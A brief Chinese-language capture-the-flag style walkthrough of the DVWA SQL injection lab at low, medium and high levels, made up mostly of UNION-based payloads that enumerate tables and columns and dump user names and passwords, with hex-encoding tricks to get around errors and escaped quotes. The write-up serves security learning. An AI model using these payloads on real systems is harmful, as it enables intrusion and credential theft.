DVWA-SQL Injection

LOW级别

判断存在注入

?id=1正常回显

?id=1'报错

?id=1'--+回显正常,说明存在符号型注入,闭合方式为'

爆字段

?id=1' order by 2--+回显正常

?id=1'+order+by+3--+报错,说明字段数为2

报显示位

?id='+union+select+1,2--+显示位1,2

查表

?id=1'+union+select+1,group_concat(table_name)+from+information_schema.tables+where+table_schema=database()--+

报错Illegal mix of collations for operation 'UNION'

通过百度,这是由于编码的某种问题造成的,可以使用16进制进行读取

?id=1'+union+select+1,concat_ws('~',hex(table_name))+from+information_schema.tables+where+table_schema=database()--+

之后再解码就好

查列

?id=1'+union+select+1,concat_ws('~',hex(column_name))+from+information_schema.columns+where+table_name='users'+and+table_schema=database()--+

查数据

?id=1'+union+select+1,group_concat(hex(user),',',hex(password))+from+users--+

也可以直接使用unhex函数
?id=1'+union+select+1,group_concat(unhex(hex(user)),',',unhex(hex(password))+from+users--+

medium级别

这关换成了post请求

burp抓包,操作同low级别一样,发现单引号会被转义,查列的时候where+table_name='users'可以转换为16进制users 的 十六进制为 0x75736572

high级别

1' union select user,password from users#

直接结束?